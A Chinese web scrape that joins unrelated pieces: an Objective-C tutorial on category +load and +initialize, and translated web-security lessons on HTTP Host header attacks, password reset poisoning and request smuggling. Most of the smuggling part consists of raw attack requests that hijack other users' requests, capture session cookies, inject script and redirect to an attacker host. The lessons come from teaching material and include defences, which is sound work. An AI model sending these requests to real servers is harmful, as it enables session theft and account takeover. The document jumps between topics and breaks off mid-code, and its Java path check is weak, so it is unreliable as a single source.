下面是一个简单的 Java 代码示例，基于用户输入验证规范化路径：

File file = new File(BASE_DIRECTORY, userInput);

if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {

    // process file

}

原文链接：https://segmentfault.com/a/1190000039307155

首先先看几个面试问题

• Cateogry里面有load方法么? load方法什么时候调用？load方法有继承么？

1. 新建一个项目，并添加TCPerson类，并给TCPerson添加两个分类

2.新建一个TCStudent类继承自TCPerson，并且给TCStudent也添加两个分类

Cateogry里面有load方法么？

答：分类里面肯定有load

#import "TCPerson.h"



@implementation TCPerson

+ (void)load{

    

}

@end

#import "TCPerson+TCtest1.h"



@implementation TCPerson (TCtest1)

+ (void)load{

    

}

@end

#import "TCPerson+TCTest2.h"



@implementation TCPerson (TCTest2)

+ (void)load{

    

}

@end

#import <Foundation/Foundation.h>



int main(int argc, const char * argv[]) {

    @autoreleasepool {

        

    }

    return 0;

}

@implementation TCPerson

+ (void)load{

    NSLog(@"TCPerson +load");

}

@end





@implementation TCPerson (TCtest1)

+ (void)load{

    NSLog(@"TCPerson (TCtest1) +load");

}

@end

@implementation TCPerson (TCTest2)

+ (void)load{

    NSLog(@"TCPerson (TCtest2) +load");

}

@end

#import <Foundation/Foundation.h>



NS_ASSUME_NONNULL_BEGIN



@interface TCPerson : NSObject

+ (void)test;

@end



NS_ASSUME_NONNULL_END

#import "TCPerson.h"



@implementation TCPerson

+ (void)load{

    NSLog(@"TCPerson +load");

}

+ (void)test{

    NSLog(@"TCPerson +test");

}

@end

#import "TCPerson+TCtest1.h"



@implementation TCPerson (TCtest1)

+ (void)load{

    NSLog(@"TCPerson (TCtest1) +load");

}

+ (void)test{

    NSLog(@"TCPerson (TCtest1) +test1");

}

@end

#import "TCPerson+TCTest2.h"



@implementation TCPerson (TCTest2)

+ (void)load{

    NSLog(@"TCPerson (TCtest2) +load");

}

+ (void)test{

    NSLog(@"TCPerson (TCtest2) +test2");

}

@end

#import <Foundation/Foundation.h>

#import "TCPerson.h"

int main(int argc, const char * argv[]) {

    @autoreleasepool {

        [TCPerson test];

    }

    return 0;

}

我们打印TCPerson的类方法

void printMethodNamesOfClass(Class cls)

{

    unsigned int count;

    // 获得方法数组

    Method *methodList = class_copyMethodList(cls, &count);

    

    // 存储方法名

    NSMutableString *methodNames = [NSMutableString string];

    

    // 遍历所有的方法

    for (int i = 0; i < count; i++) {

        // 获得方法

        Method method = methodList[I];

        // 获得方法名

        NSString *methodName = NSStringFromSelector(method_getName(method));

        // 拼接方法名

        [methodNames appendString:methodName];

        [methodNames appendString:@", "];

    }

    

    // 释放

    free(methodList);

    

    // 打印方法名

    NSLog(@"%@ %@", cls, methodNames);

}

int main(int argc, const char * argv[]) {

    @autoreleasepool {

        [TCPerson test];

        printMethodNamesOfClass(object_getClass([TCPerson class]));

    }

    return 0;

}

输出结果：

可以看到，TCPerson的所有类方法名，并不是覆盖，三个load，三个test，方法都在

load源码分析：查看objc底层源码我们可以看到：

void call_load_methods(void)

{

    static bool loading = NO;

    bool more_categories;



    loadMethodLock.assertLocked();



    // Re-entrant calls do nothing; the outermost call will finish the job.

    if (loading) return;

    loading = YES;



    void *pool = objc_autoreleasePoolPush();



    do {

        // 1. Repeatedly call class +loads until there aren't any more

        while (loadable_classes_used > 0) {

            call_class_loads();

        }



        // 2. Call category +loads ONCE

        more_categories = call_category_loads();



        // 3. Run more +loads if there are classes OR more untried categories

    } while (loadable_classes_used > 0  ||  more_categories);



    objc_autoreleasePoolPop(pool);



    loading = NO;

}

static void call_class_loads(void)

{

    int I;

    

    // Detach current loadable list.

    struct loadable_class *classes = loadable_classes;

    int used = loadable_classes_used;

    loadable_classes = nil;

    loadable_classes_allocated = 0;

    loadable_classes_used = 0;

    

    // Call all +loads for the detached list.

    for (i = 0; i < used; i++) {

        Class cls = classes[i].cls;

        load_method_t load_method = (load_method_t)classes[i].method;

        if (!cls) continue; 



        if (PrintLoading) {

            _objc_inform("LOAD: +[%s load]\n", cls->nameForLogging());

        }

        (*load_method)(cls, SEL_load);

    }

    

    // Destroy the detached list.

    if (classes) free(classes);

}

其通过的是load_method_t函数指针直接调用
函数指针直接调用

typedef void(*load_method_t)(id, SEL);

static bool call_category_loads(void)

{

    int i, shift;

    bool new_categories_added = NO;

    

    // Detach current loadable list.

    struct loadable_category *cats = loadable_categories;

    int used = loadable_categories_used;

    int allocated = loadable_categories_allocated;

    loadable_categories = nil;

    loadable_categories_allocated = 0;

    loadable_categories_used = 0;



    // Call all +loads for the detached list.

    for (i = 0; i < used; i++) {

        Category cat = cats[i].cat;

        load_method_t load_method = (load_method_t)cats[i].method;

        Class cls;

        if (!cat) continue;



        cls = _category_getClass(cat);

        if (cls  &&  cls->isLoadable()) {

            if (PrintLoading) {

                _objc_inform("LOAD: +[%s(%s) load]\n", 

                             cls->nameForLogging(), 

                             _category_getName(cat));

            }

            (*load_method)(cls, SEL_load);

            cats[i].cat = nil;

        }

    }

#import "TCStudent.h"



@implementation TCStudent



@end

HTTP Host header attacks

在本节中，我们将讨论错误的配置和有缺陷的业务逻辑如何通过 HTTP Host 头使网站遭受各种攻击。我们将概述识别易受 HTTP Host 头攻击的网站的高级方法，并演示如何利用此方法。最后，我们将提供一些有关如何保护自己网站的一般建议。

什么是 HTTP Host 头

从 HTTP/1.1 开始，HTTP Host 头是一个必需的请求头，其指定了客户端想要访问的域名。例如，当用户访问 https://portswigger.net/web-security 时，浏览器将会发出一个包含 Host 头的请求：

GET /web-security HTTP/1.1

Host: portswigger.net

在某些情况下，例如当请求被中介系统转发时，Host 值可能在到达预期的后端组件之前被更改。我们将在下面更详细地讨论这种场景。

HTTP Host 头的作用是什么

HTTP Host 头的作用就是标识客户端想要与哪个后端组件通信。如果请求没有 Host 头或者 Host 格式不正确，则把请求路由到预期的应用程序时会出现问题。

历史上因为每个 IP 地址只会托管单个域名的内容，所以并不存在模糊性。但是如今，由于基于云的解决方案和相关架构的不断增长，使得多个网站和应用程序在同一个 IP 地址访问变得很常见，这种方式也越来越受欢迎，部分原因是 IPv4 地址耗尽。

当多个应用程序通过同一个 IP 地址访问时，通常是以下情况之一。

虚拟主机

一种可能的情况是，一台 web 服务器部署多个网站或应用程序，这可能是同一个所有者拥有多个网站，也有可能是不同网站的所有者部署在同一个共享平台上。这在以前不太常见，但在一些基于云的 SaaS 解决方案中仍然会出现。

在这种情况下，尽管每个不同的网站都有不同的域名，但是他们都与服务器共享同一个 IP 地址。这种单台服务器托管多个网站的方式称为“虚拟主机”。

对于访问网站的普通用户来说，通常无法区分网站使用的是虚拟主机还是自己的专用服务器。

通过中介路由流量

另一种常见的情况是，网站托管在不同的后端服务器上，但是客户端和服务器之间的所有流量都会通过中间系统路由。中间系统可能是一个简单的负载均衡器或某种反向代理服务器。当客户端通过 CDN 访问网站时，这种情况尤其普遍。

在这种情况下，即使不同的网站托管在不同的后端服务器上，但是他们的所有域名都需要解析为中间系统这个 IP 地址。这也带来了一些与虚拟主机相同的挑战，即反向代理或负载均衡服务器需要知道怎么把每个请求路由到哪个合适的后端。

HTTP Host 头如何解决这个问题

解决上述的情况，都需要依赖于 Host 头来指定请求预期的接收方。一个常见的比喻是给住在公寓楼里的某个人写信的过程。整栋楼都是同一个街道地址，但是这个街道地址后面有许多个不同的公寓房间，每个公寓房间都需要以某种方式接受正确的邮件。解决这个问题的一个方法就是简单地在地址中添加公寓房间号码或收件人的姓名。对于 HTTP 消息而言，Host 头的作用与之类似。

当浏览器发送请求时，目标 URL 将解析为特定服务器的 IP 地址，当服务器收到请求时，它使用 Host 头来确定预期的后端并相应地转发该请求。

什么是 HTTP Host 头攻击

HTTP Host 头攻击会利用以不安全的方式处理 Host 头的漏洞网站。如果服务器隐式信任 Host 标头，且未能正确验证或转义它，则攻击者可能会使用此输入来注入有害的有效负载，以操纵服务器端的行为。将有害负载直接注入到 Host 头的攻击通常称为 "Host header injection"（主机头注入攻击）。

现成的 web 应用通常不知道它们部署在哪个域上，除非在安装过程中手动配置指定了它。此时当他们需要知道当前域时，例如要生成电子邮件中包含的 URL ，他们可能会从 Host 头检索域名：

<a href="https://_SERVER['HOST']/support">Contact support</a>

标头的值也可以用于基础设施内不同系统之间的各种交互。

由于 Host 头实际上用户可以控制的，因此可能会导致很多问题。如果输入没有正确的转义或验证，则 Host 头可能会成为利用其他漏洞的潜在载体，最值得注意的是：

• Web 缓存中毒
• 特定功能中的业务逻辑缺陷
• 基于路由的 SSRF
• 典型的服务器漏洞，如 SQL 注入

HTTP Host 漏洞是如何产生的

HTTP Host 漏洞的产生通常是基于存在缺陷的假设，即误认为 Host 头是用户不可控制的。这导致 Host 头被隐式信任了，其值未进行正确的验证或转义，而攻击者可以使用工具轻松地修改 Host 。

即使 Host 头本身得到了安全的处理，也可以通过注入其他标头来覆盖 Host ，这取决于处理传入请求的服务器的配置。有时网站所有者不知道默认情况下这些可以覆盖 Host 的标头是受支持的，因此，可能不会进行严格的审查。

实际上，许多漏洞并不是由于编码不安全，而是由于相关基础架构中的一个或多个组件的配置不安全。之所以会出现这些配置问题，是因为网站将第三方技术集成到其体系架构中，而未完全了解配置选项及其安全含义。

利用 HTTP Host 头漏洞

详细内容请查阅本章下文。

如何防御 HTTP Host 头攻击

防御 HTTP Host 头攻击最简单的方法就是避免在服务端代码中使用 Host 头。仔细检查下每个 URL 地址是否真的绝对需要，你经常会发现你可以用一个相对的 URL 地址替代。这个简单的改变可以帮助你防御 web 缓存中毒。

其他防御措施有：

保护绝对的 URL 地址

如果你必须使用绝对的 URL 地址，则应该在配置文件中手动指定当前域名并引用此值，而不是 Host 头的值。这种方法将消除密码重置中毒的威胁。

验证 Host 头

如果必须使用 Host 头，请确保正确验证它。这包括对照允许域的白名单进行检查，拒绝或重定向无法识别的 Host 的任何请求。你应该查阅所使用的框架的相关文档。例如 Django 框架在配置文件中提供了 ALLOWED_HOSTS 选项，这将减少你遭受主机标头注入攻击的风险。

不支持能够重写 Host 的头

检查你是否不支持可能用于构造攻击的其他标头，尤其是 X-Forwarded-Host ，牢记默认情况下这些头可能是被允许的。

使用内部虚拟主机时要小心

使用虚拟主机时，应避免将内部网站和应用程序托管到面向公开内容的服务器上。否则，攻击者可能会通过 Host 头来访问内部域。

如何识别和利用 HTTP Host 头漏洞

在本节中，我们将更仔细地了解如何识别网站是否存在 HTTP Host 头漏洞。然后，我们将提供一些示例，说明如何利用此漏洞。

如何使用 HTTP Host 头测试漏洞

要测试网站是否易受 HTTP Host 攻击，你需要一个拦截代理（如 Burp proxy ）和手动测试工具（如 Burp Repeater 和 Burp intruiter ）。

简而言之，你需要能够修改 Host 标头，并且你的请求能够到达目标应用程序。如果是这样，则可以使用此标头来探测应用程序，并观察其对响应的影响。

提供一个任意的 Host 头

在探测 Host 头注入漏洞时，第一步测试是给 Host 头设置任意的、无法识别的域名，然后看看会发生什么。

一些拦截代理直接从 Host 头连接目标 IP 地址，这使得这种测试几乎不可能；对报头所做的任何更改都会导致请求发送到完全不同的 IP 地址。然而，Burp Suite 精确地保持了主机头和目标 IP 地址之间的分离，这种分离允许你提供所需的任意或格式错误的主机头，同时仍然确保将请求发送到预期目标。

有时，即使你提供了一个意外的 Host 头，你仍然可以访问目标网站。这可能有很多原因。例如，服务器有时设置了默认或回退选项，以处理无法识别的域名请求。如果你的目标网站碰巧是默认的，那你就走运了。在这种情况下，你可以开始研究应用程序对 Host 头做了什么，以及这种行为是否可利用。

另一方面，由于 Host 头是网站工作的基本部分，篡改它通常意味着你将无法访问目标应用程序。接收到你的请求的反向代理或负载平衡器可能根本不知道将其转发到何处，从而响应 "Invalid Host header" 这种错误。如果你的目标很可能是通过 CDN 访问的。在这种情况下，你应该继续尝试下面概述的一些技术。

检查是否存在验证缺陷

你可能会发现你的请求由于某种安全措施而被阻止，而不是收到一个 "Invalid Host header" 响应。例如，一些网站将验证 Host 头是否与 TLS 握手的 SNI 匹配。这并不意味着它们对 Host 头攻击免疫。

你应该试着理解网站是如何解析 Host 头的。这有时会暴露出一些可以用来绕过验证的漏洞。例如，一些解析算法可能会忽略主机头中的端口，这意味着只有域名被验证。只要你提供一个非数字端口，保持域名不变，就可以确保你的请求到达目标应用程序，同时可以通过端口注入有害负载。

GET /example HTTP/1.1

Host: vulnerable-website.com:bad-stuff-here

某些网站的验证逻辑可能是允许任意子域。在这种情况下，你可以通过注册任意子域名来完全绕过验证，该域名以白名单中域名的相同字符串结尾：

GET /example HTTP/1.1

Host: notvulnerable-website.com

或者，你可以利用已经泄露的不安全的子域：

GET /example HTTP/1.1

Host: hacked-subdomain.vulnerable-website.com

有关常见域名验证缺陷的进一步示例，请查看我们有关规避常见的 SSRF 防御和 Origin 标头解析错误的内容。

发送不明确的请求

验证 Host 的代码和易受攻击的代码通常在应用程序的不同组件中，甚至位于不同的服务器上。通过识别和利用它们处理 Host 头的方式上的差异，你可以发出一个模棱两可的请求。

以下是几个示例，说明如何创建模棱两可的请求。

注入重复的 Host 头

一种可能的方法是尝试添加重复的 Host 头。诚然，这通常只会导致你的请求被阻止。但是，由于浏览器不太可能发送这样的请求，你可能会偶尔发现开发人员没有预料到这种情况。在这种情况下，你可能会发现一些有趣的行为怪癖。

不同的系统和技术将以不同的方式处理这种情况，但具体使用哪个 Host 头可能会存在差异，你可以利用这些差异。考虑以下请求：

GET /example HTTP/1.1

Host: vulnerable-website.com

Host: bad-stuff-here

假设转发服务优先使用第一个标头，但是后端服务器优先使用最后一个标头。在这种情况下，你可以使用第一个报头来确保你的请求被路由到预期的目标，并使用第二个报头将你的有效负载传递到服务端代码中。

提供一个绝对的 URL 地址

虽然请求行通常是指定请求域上的相对路径，但许多服务器也被配置为理解绝对 URL 地址的请求。

同时提供绝对 URL 和 Host 头所引起的歧义也可能导致不同系统之间的差异。规范而言，在路由请求时，应优先考虑请求行，但实际上并非总是如此。你可以像重复 Host 头一样利用这些差异。

GET https://vulnerable-website.com/ HTTP/1.1

Host: bad-stuff-here

请注意，你可能还需要尝试不同的协议。对于请求行是包含 HTTP 还是 HTTPS URL，服务器的行为有时会有所不同。

添加 line wrapping

你还可以给 HTTP 头添加空格缩进，从而发现奇怪的行为。有些服务器会将缩进的标头解释为换行，因此将其视为前一个标头值的一部分。而其他服务器将完全忽略缩进的标头。

由于对该场景的处理极不一致，处理你的请求的不同系统之间通常会存在差异。考虑以下请求：

GET /example HTTP/1.1

 Host: bad-stuff-here

Host: vulnerable-website.com

网站可能会阻止具有多个 Host 标头的请求，但是你可以通过缩进其中一个来绕过此验证。如果转发服务忽略缩进的标头，则请求会被当做访问 vulnerable-website.com 的普通请求。现在让我们假设后端忽略前导空格，并在出现重复的情况下优先处理第一个标头，这时你就可以通过 "wrapped" Host 头传递任意值。

其他技术

这只是发布有害且模棱两可的请求的许多可能方法中的一小部分。例如，你还可以采用 HTTP 请求走私技术来构造 Host 头攻击。请求走私的详细内容请查看该主题文章。

注入覆盖 Host 的标头

即使不能使用不明确的请求重写 Host 头，也有其他在保持其完整的同时重写其值的可能。这包括通过其他的 HTTP Host 标头注入有效负载，这些标头的设计就是为了达到这个目的。

正如我们已经讨论过的，网站通常是通过某种中介系统访问的，比如负载均衡器或反向代理。在这种架构中，后端服务器接收到的 Host 头可能是这些中间系统的域名。这通常与请求的功能无关。

为了解决这个问题，前端服务器（转发服务）可以注入 X-Forwarded-Host 头来标明客户端初始请求的 Host 的原始值。因此，当 X-Forwarded-Host 存在时，许多框架会引用它。即使没有前端使用此标头，也可以观察到这种行为。

你有时可以用 X-Forwarded-Host 绕过 Host 头的任何验证的并注入恶意输入。

GET /example HTTP/1.1

Host: vulnerable-website.com

X-Forwarded-Host: bad-stuff-here

尽管 X-Forwarded-Host 是此行为的实际标准，你可能也会遇到其他具有类似用途的标头，包括：

• X-Host
• X-Forwarded-Server
• X-HTTP-Host-Override
• Forwarded

从安全角度来看，需要注意的是，有些网站，甚至可能是你自己的网站，无意中支持这种行为。这通常是因为在它们使用的某些第三方技术中，这些报头中的一个或多个是默认启用的。

如何利用 HTTP Host 头

一旦确定可以向目标应用程序传递任意主机名，就可以开始寻找利用它的方法。

在本节中，我们将提供一些你可以构造的常见 HTTP Host 头攻击的示例。

• 密码重置中毒
• Web 缓存中毒
• 利用典型的服务器端漏洞
• 绕过身份验证
• 虚拟主机暴力破解
• 基于路由的 SSRF

密码重置中毒

攻击者有时可以使用 Host 头进行密码重置中毒攻击。更多内容参见本系列相关部分。

通过 Host 头的 Web 缓存中毒

在探测潜在的 Host 头攻击时，你经常会遇到看似易受攻击但并不能直接利用的情况。例如，你可能会发现 Host 头在没有 HTML 编码的情况下反映在响应标记中，甚至直接用于脚本导入。反射的客户端漏洞（例如 XSS ）由 Host 标头引起时通常无法利用。攻击者没法强迫受害者的浏览器请求不正确的主机。

但是，如果目标使用了 web 缓存，则可以通过缓存向其他用户提供中毒响应，将这个无用的、反射的漏洞转变为危险的存储漏洞。

要构建 web 缓存中毒攻击，需要从服务器获取反映已注入负载的响应。不仅如此，你还需要找到其他用户请求也同时使用的缓存键。如果成功，下一步是缓存此恶意响应。然后，它将被提供给任何试图访问受影响页面的用户。

独立缓存通常在缓存键中包含 Host 头，因此这种方法通常在集成的应用程序级缓存上最有效。也就是说，前面讨论的技术有时甚至可以毒害独立的 web 缓存系统。

Web 缓存中毒有一个独立的专题讨论。

利用典型的服务端漏洞

每个 HTTP 头都是利用典型服务端漏洞的潜在载体，Host 头也不例外。例如，你可以通过 Host 头探测试试平常的 SQL 注入。如果 Host 的值被传递到 SQL 语句中，这可能是可利用的。

访问受限功能

某些网站只允许内部用户访问某些功能。但是，这些网站的访问控制可能会做出错误的假设，允许你通过对 Host 头进行简单的修改来绕过这些限制。这会成为其他攻击的切入点。

暴力破解使用虚拟主机的内部网站

公司有时会犯这样的错误：在同一台服务器上托管可公开访问的网站和私有的内部网站。服务器通常有一个公共的和一个私有的 IP 地址。由于内部主机名可能会解析为私有的 IP 地址，因此仅通过查看 DNS 记录无法检测到这种情况：

www.example.com:12.34.56.78

intranet.example.com:10.0.0.132

在某些情况下，内部站点甚至可能没有与之关联的公开 DNS 记录。尽管如此，攻击者通常可以访问他们有权访问的任何服务器上的任何虚拟主机，前提是他们能够猜出主机名。如果他们通过其他方式发现了隐藏的域名，比如信息泄漏，他们就可以直接发起请求。否则，他们只能使用诸如 Burp intruiter 这样的工具，通过候选子域的简单单词表对虚拟主机进行暴力破解。

基于路由的 SSRF

有时还可能使用 Host 头发起高影响、基于路由的 SSRF 攻击。这有时被称为 "Host header SSRF attacks" 。

经典的 SSRF 漏洞通常基于 XXE 或可利用的业务逻辑，该逻辑将 HTTP 请求发送到从用户可控制的输入派生的 URL 。另一方面，基于路由的 SSRF 依赖于利用在许多基于云的架构中流行的中间组件。这包括内部负载均衡器和反向代理。

尽管这些组件部署的目的不同，但基本上，它们都会接收请求并将其转发到适当的后端。如果它们被不安全地配置，转发未验证 Host 头的请求，它们就可能被操纵以将请求错误地路由到攻击者选择的任意系统。

这些系统是很好的目标，它们处于一个特权网络位置，这使它们可以直接从公共网络接收请求，同时还可以访问许多、但不是全部的内部网络。这使得 Host 头成为 SSRF 攻击的强大载体，有可能将一个简单的负载均衡器转换为通向整个内部网络的网关。

你可以使用 Burp Collaborator 来帮助识别这些漏洞。如果你在 Host 头中提供 Collaborator 服务器的域，并且随后从目标服务器或其他路径内的系统收到了 DNS 查询，则表明你可以将请求路由到任意域。

在确认可以成功地操纵中介系统以将请求路由到任意公共服务器之后，下一步是查看能否利用此行为访问内部系统。为此，你需要标识在目标内部网络上使用的私有 IP 地址。除了应用程序泄漏的 IP 地址外，你还可以扫描属于该公司的主机名，以查看是否有解析为私有 IP 地址的情况。如果其他方法都失败了，你仍然可以通过简单地强制使用标准私有 IP 范围（例如 192.168.0.0/16 ）来识别有效的 IP 地址。

通过格式错误的请求行进行 SSRF

自定义代理有时无法正确地验证请求行，这可能会使你提供异常的、格式错误的输入，从而带来不幸的结果。

例如，反向代理可能从请求行获取路径，然后加上了前缀 http://backend-server，并将请求路由到上游 URL 。如果路径以 / 开头，这没有问题，但如果以 @ 开头呢？

GET @private-intranet/example HTTP/1.1

此时，上游的 URL 将是 http://backend-server@private-intranet/example，大多数 HTTP 库将认为访问的是 private-intranet 且用户名是 backend-server。

Password reset poisoning

密码重置中毒是一种技术，攻击者可以利用该技术来操纵易受攻击的网站，以生成指向其控制下的域的密码重置链接。这种行为可以用来窃取重置任意用户密码所需的秘密令牌，并最终危害他们的帐户。

密码重置是如何工作的

几乎所有需要登录的网站都实现了允许用户在忘记密码时重置密码的功能。实现这个功能有好几种方法，其中一个最常见的方法是：

1. 用户输入用户名或电子邮件地址，然后提交密码重置请求。
2. 网站检查该用户是否存在，然后生成一个临时的、唯一的、高熵的 token 令牌，并在后端将该令牌与用户的帐户相关联。
3. 网站向用户发送一封包含重置密码链接的电子邮件。用户的 token 令牌作为 query 参数包含在相应的 URL 中，如 https://normal-website.com/reset?token=0a1b2c3d4e5f6g7h8i9j。
4. 当用户访问此 URL 时，网站会检查所提供的 token 令牌是否有效，并使用它来确定要重置的帐户。如果一切正常，用户就可以设置新密码了。最后，token 令牌被销毁。

与其他一些方法相比，这个过程足够简单并且相对安全。然而，它的安全性依赖于这样一个前提：只有目标用户才能访问他们的电子邮件收件箱，从而使用他们的 token 令牌。而密码重置中毒就是一种窃取此 token 令牌以更改其他用户密码的方法。

如何构造一个密码重置中毒攻击

如果发送给用户的 URL 是基于可控制的输入（例如 Host 头）动态生成的，则可以构造如下所示的密码重置中毒攻击：

1. 攻击者根据需要获取受害者的电子邮件地址或用户名，并代表受害者提交密码重置请求，但是这个请求被修改了 Host 头，以指向他们控制的域。我们假设使用的是 evil-user.net 。
2. 受害者收到了网站发送的真实的密码重置电子邮件，其中包含一个重置密码的链接，以及与他们的帐户相关联的 token 令牌。但是，URL 中的域名指向了攻击者的服务器：https://evil-user.net/reset?token=0a1b2c3d4e5f6g7h8i9j 。
3. 如果受害者点击了此链接，则密码重置的 token 令牌将被传递到攻击者的服务器。
4. 攻击者现在可以访问网站的真实 URL ，并使用盗取的受害者的 token 令牌，将用户的密码重置为自己的密码，然后就可以登录到用户的帐户了。

在真正的攻击中，攻击者可能会伪造一个假的警告通知来提高受害者点击链接的概率。

即使不能控制密码重置的链接，有时也可以使用 Host 头将 HTML 注入到敏感的电子邮件中。请注意，电子邮件客户端通常不执行 JavaScript ，但其他 HTML 注入技术如悬挂标记攻击可能仍然适用。

原文链接：https://segmentfault.com/a/1190000039350947

HTTP request smuggling

在本节中，我们将解释什么是 HTTP 请求走私，并描述常见的请求走私漏洞是如何产生的。

什么是 HTTP 请求走私

HTTP 请求走私是一种干扰网站处理多个 HTTP 请求序列的技术。请求走私漏洞危害很大，它使攻击者可以绕过安全控制，未经授权访问敏感数据并直接危害其他应用程序用户。

HTTP 请求走私到底发生了什么

现在的应用架构中经常会使用诸如负载均衡、反向代理、网关等服务，这些服务在链路上起到了一个转发请求给后端服务器的作用，因为位置位于后端服务器的前面，所以本文把他们称为前端服务器。

当前端服务器（转发服务）将 HTTP 请求转发给后端服务器时，它通常会通过与后端服务器之间的同一个网络连接发送多个请求，因为这样做更加高效。协议非常简单：HTTP 请求被一个接一个地发送，接受请求的服务器则解析 HTTP 请求头以确定一个请求的结束位置和下一个请求的开始位置，如下图所示：

POST /search HTTP/1.1

Host: normal-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11



q=smuggling

POST /search HTTP/1.1

Host: normal-website.com

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked



b

q=smuggling

0

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 13

Transfer-Encoding: chunked



0



SMUGGLED

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 3

Transfer-Encoding: chunked



8

SMUGGLED

0

Transfer-Encoding: xchunked



Transfer-Encoding : chunked



Transfer-Encoding: chunked

Transfer-Encoding: x



Transfer-Encoding:[tab]chunked



[space]Transfer-Encoding: chunked



X: X[\n]Transfer-Encoding: chunked



Transfer-Encoding

: chunked

POST / HTTP/1.1

Host: vulnerable-website.com

Transfer-Encoding: chunked

Content-Length: 4



1

A

X

POST / HTTP/1.1

Host: vulnerable-website.com

Transfer-Encoding: chunked

Content-Length: 6



0



X

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11



q=smuggling

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

Transfer-Encoding: chunked



e

q=smuggling&x=

0



GET /404 HTTP/1.1

Foo: x

GET /404 HTTP/1.1

Foo: xPOST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11



q=smuggling

POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Transfer-Encoding: chunked



7c

GET /404 HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 144



x=

0

GET /404 HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 146



x=

0



POST /search HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 11



q=smuggling

POST /home HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 62

Transfer-Encoding: chunked



0



GET /admin HTTP/1.1

Host: vulnerable-website.com

Foo: xGET /home HTTP/1.1

Host: vulnerable-website.com

POST /login HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 28



email=wiener@normal-user.net

<input id="email" value="wiener@normal-user.net" type="text">

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 130

Transfer-Encoding: chunked



0



POST /login HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 100



email=POST /login HTTP/1.1

Host: vulnerable-website.com

...

<input id="email" value="POST /login HTTP/1.1

Host: vulnerable-website.com

X-Forwarded-For: 1.3.3.7

X-Forwarded-Proto: https

X-TLS-Bits: 128

X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256

X-TLS-Version: TLSv1.2

x-nr-external-service: external

...

POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 154

Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO



csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net

GET / HTTP/1.1

Host: vulnerable-website.com

Transfer-Encoding: chunked

Content-Length: 324



0



POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 400

Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO



csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=

POST /post/comment HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded

Content-Length: 400

Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO



csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1

Host: vulnerable-website.com

Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj

...

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 63

Transfer-Encoding: chunked



0



GET / HTTP/1.1

User-Agent: <script>alert(1)</script>

Foo: X

GET /home HTTP/1.1

Host: normal-website.com



HTTP/1.1 301 Moved Permanently

Location: https://normal-website.com/home/

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 54

Transfer-Encoding: chunked



0



GET /home HTTP/1.1

Host: attacker-website.com

Foo: X

GET /home HTTP/1.1

Host: attacker-website.com

Foo: XGET /scripts/include.js HTTP/1.1

Host: vulnerable-website.com



HTTP/1.1 301 Moved Permanently

Location: https://attacker-website.com/home/

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 59

Transfer-Encoding: chunked



0



GET /home HTTP/1.1

Host: attacker-website.com

Foo: XGET /static/include.js HTTP/1.1

Host: vulnerable-website.com

/static/include.js:



GET /static/include.js HTTP/1.1

Host: vulnerable-website.com



HTTP/1.1 301 Moved Permanently

Location: https://attacker-website.com/home/

POST / HTTP/1.1

Host: vulnerable-website.com

Content-Length: 43

Transfer-Encoding: chunked



0



GET /private/messages HTTP/1.1

Foo: X

GET /private/messages HTTP/1.1

Foo: XGET /static/some-image.png HTTP/1.1

Host: vulnerable-website.com

Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z

...

GET /static/some-image.png HTTP/1.1

Host: vulnerable-website.com



HTTP/1.1 200 Ok

...

<h1>Your private messages</h1>

...

原文链接：https://segmentfault.com/a/1190000039332580

• 上一篇文章我们讲到了load方法，今天我们来看看initialize

新建项目，新建类   类结构图如下

将原来的load方法换成initialize

先告诉大家initialize方法调用的时间，以便大家带着答案去理解initialize：在类第一次接收到消息的时候调用，它区别于load(运行时加载类的时候调用)，下面我们来深入理解initialize

相信大家在想什么叫第一次接收消息了，我们回到main（）

运行程序，输出结果：

说明：NSLog(@"---")是由于我建的是命令行工程，不写这个，貌似不能显示控制台，Xcode版本是12，当然你们的要显示控制台，直接去掉这行代码

从输出结果可以看到没有任何关于initialize的打印，程序直接退出

• 2.initialize的打印

int main(int argc, const char * argv[]) {

